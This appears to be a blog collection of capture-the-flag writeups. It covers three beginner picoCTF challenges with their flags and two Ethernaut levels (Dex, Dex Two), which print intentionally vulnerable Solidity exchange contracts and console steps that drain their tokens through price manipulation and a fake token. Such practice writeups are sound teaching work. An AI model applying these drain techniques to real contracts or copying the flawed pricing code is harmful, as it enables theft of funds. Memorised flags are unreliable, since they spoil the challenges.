PicoCTF - Glitch cat

Challenge

Tags

Beginner picoMini 2022 / General skill / shell / python / nc

Description

Our flag printing service has started glitching!

$ nc saturn.picoctf.net 65353

Writeup

  1. We can simply create a python file to transfer ascii code to char.
     flag_enc = chr(0x39) + chr(0x63) + chr(0x34) + chr(0x32) + chr(0x61) + chr(0x34) + chr(0x35) + chr(0x64) 
     print('picoCTF{gl17ch_m3_n07_'+ flag_enc + '}')
    
  2. Here ‘s flag: picoCTF{gl17ch_m3_n07_9c42a45d} ٩(^ᴗ^)۶

PicoCTF - fixme1.py

Challenge

Tags

Beginner picoMini 2022 / General skill / python

Description

Fix the syntax error in this Python script to print the flag.
Download Python script

Writeup

Remove whitespace at the beginning of the last line. Flag: picoCTF{1nd3nt1ty_cr1515_6a476c8f} ٩(^ᴗ^)۶

PicoCTF - Codebook

Challenge

Tags

Beginner picoMini 2022 / General skill / shell / python

Description

Run the Python script code.py in the same directory as codebook.txt.

Writeup

  1. wget https://artifacts.picoctf.net/c/100/code.py
  2. wget https://artifacts.picoctf.net/c/100/codebook.txt
  3. python code.py
  4. Flag: picoCTF{c0d3b00k_455157_d9aa2df2} ٩(^ᴗ^)۶

Ethernaut - 23. Dex Two

Difficulty: 🌕🌕🌑🌑🌑

As we’ve repeatedly seen, interaction between contracts can be a source of unexpected behavior.
Just because a contract claims to implement the ERC20 spec does not mean it’s trust worthy.
Some tokens deviate from the ERC20 spec by not returning a boolean value from their transfer methods. See Missing return value bug - At least 130 tokens affected.
Other ERC20 tokens, especially those designed by adversaries could behave more maliciously.
If you design a DEX where anyone could list their own tokens without the permission of a central authority, then the correctness of the DEX could depend on the interaction of the DEX contract and the token contracts being traded.

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';

contract DexTwo is Ownable {
  using SafeMath for uint;
  address public token1;
  address public token2;
  constructor() public {}

  function setTokens(address _token1, address _token2) public onlyOwner {
    token1 = _token1;
    token2 = _token2;
  }

  function add_liquidity(address token_address, uint amount) public onlyOwner {
    IERC20(token_address).transferFrom(msg.sender, address(this), amount);
  }
  
  function swap(address from, address to, uint amount) public {
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapAmount(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  } 

  function getSwapAmount(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

  function approve(address spender, uint amount) public {
    SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
    SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
  }

  function balanceOf(address token, address account) public view returns (uint){
    return IERC20(token).balanceOf(account);
  }
}

contract SwappableTokenTwo is ERC20 {
  address private _dex;
  constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
  }

  function approve(address owner, address spender, uint256 amount) public returns(bool){
    require(owner != _dex, "InvalidApprover");
    super._approve(owner, spender, amount);
  }
}

Writeup

  1. Get new instance.
  2. Create a ERC20 contract.
     // SPDX-License-Identifier: MIT
     pragma solidity ^0.6.0;
    
     import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.2.0/contracts/token/ERC20/IERC20.sol";
     import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.2.0/contracts/token/ERC20/ERC20.sol";
    
     contract MyToken is ERC20 {
       constructor(string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
             _mint(msg.sender, initialSupply);
       }
     }
    
  3. Compile & Deploy remix
  4. Approve & Transfer remix2
  5. Store addresses to const (in console)
    
     const t1 = await contract.token1()
     const t2 = await contract.token2()
     const myToken = 'YOUR_MYTOKEN_CONTRACT_ADDRESS'
    
    
  6. Get balance
    
     await contract.balanceOf(t1, contract.address).then(v=>v.toString())
     // 100
    
     await contract.balanceOf(t2, contract.address).then(v=>v.toString())
     // 100
    
     await contract.balanceOf(myToken, contract.address).then(v=>v.toString())
     // 100
    
    
  7. Swap
    
     await contract.swap(myToken, t1, 100)
    
     await contract.balanceOf(myToken, contract.address).then(v=>v.toString())
     // 200
    
     await contract.getSwapAmount(myToken, t2, 200).then(v=>v.toString())
     // 100 
     // we can swap all myToken to get all t2 token!
    
     await contract.swap(myToken, t2, 200);
    
    
  8. Check tokens’ balance
    
     await contract.balanceOf(t1, contract.address).then(v=>v.toString())
     // '0'
    
     await contract.balanceOf(t2, contract.address).then(v=>v.toString())
     // '0'
    
    
  9. Submit instance ξ( ✿>◡❛)

Ethernaut - 22. Dex

Difficulty: 🌕🌕🌑🌑🌑

The goal of this level is for you to hack the basic DEX contract below and steal the funds by price manipulation.
You will start with 10 tokens of token1 and 10 of token2. The DEX contract starts with 100 of each token.
You will be successful in this level if you manage to drain all of at least 1 of the 2 tokens from the contract, and allow the contract to report a “bad” price of the assets.

Quick note

Normally, when you make a swap with an ERC20 token, you have to approve the contract to spend your tokens for you. To keep with the syntax of the game, we’ve just added the approve method to the contract itself. So feel free to use contract.approve(contract.address, <uint amount>) instead of calling the tokens directly, and it will automatically approve spending the two tokens by the desired amount. Feel free to ignore the SwappableToken contract otherwise.
Things that might help:

  • How is the price of the token calculated?
  • How does the swap method work?
  • How do you approve a transaction of an ERC20?

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';

contract Dex is Ownable {
  using SafeMath for uint;
  address public token1;
  address public token2;
  constructor() public {}

  function setTokens(address _token1, address _token2) public onlyOwner {
    token1 = _token1;
    token2 = _token2;
  }
  
  function addLiquidity(address token_address, uint amount) public onlyOwner {
    IERC20(token_address).transferFrom(msg.sender, address(this), amount);
  }
  
  function swap(address from, address to, uint amount) public {
    require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapPrice(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  }

  function getSwapPrice(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

  function approve(address spender, uint amount) public {
    SwappableToken(token1).approve(msg.sender, spender, amount);
    SwappableToken(token2).approve(msg.sender, spender, amount);
  }

  function balanceOf(address token, address account) public view returns (uint){
    return IERC20(token).balanceOf(account);
  }
}

contract SwappableToken is ERC20 {
  address private _dex;
  constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) public ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
  }

  function approve(address owner, address spender, uint256 amount) public returns(bool){
    require(owner != _dex, "InvalidApprover");
    super._approve(owner, spender, amount);
  }
}

Writeup

The vulnerable part of this level is method getSwapPrice, which doing a simple division without dealing with decimal point. It let hackers drain all token from the contract easily.

  1. Get new instance.
  2. Approve.
    
     await contract.approve(contract.address, 10000)
     await contract.approve('YOUR_ACCOUNT_ADDRESS', 10000)
    
    
  3. Get token address.
    
     const t1 = await contract.token1()
     const t2 = await contract.token2()
    
    
  4. Swap

      from to amount swapAmount player token1 player token2 dex token1 dex token2
    0         100 100 10 10
    1 t1 t2 10 10 0 20 110 90
    2 t2 t1 20 24 24 0 86 110
    3 t1 t2 24 30 0 30 110 80
    4 t2 t1 30 41 41 0 69 110
    5 t1 t2 41 65 0 65 110 45
    6 t2 t1 45 110 110 20 0 90
    
    await contract.swap(t1, t2, 10)
    
    await contract.swap(t2, t1, 20)
    
    await contract.swap(t1, t2, 24)
    
    await contract.swap(t2, t1, 30)
    
    await contract.swap(t1, t2, 41)
    
    await contract.getSwapPrice(t2, t1, 45).then(v=>v.toString())
    // 110 = contract's token1 balance!
    
    await contract.swap(t2, t1, 45)
    
    await contract.balanceOf(token1, contract.address).then(v=>v.toString())
    // 0 
    
    
  5. Submit instance ξ( ✿>◡❛)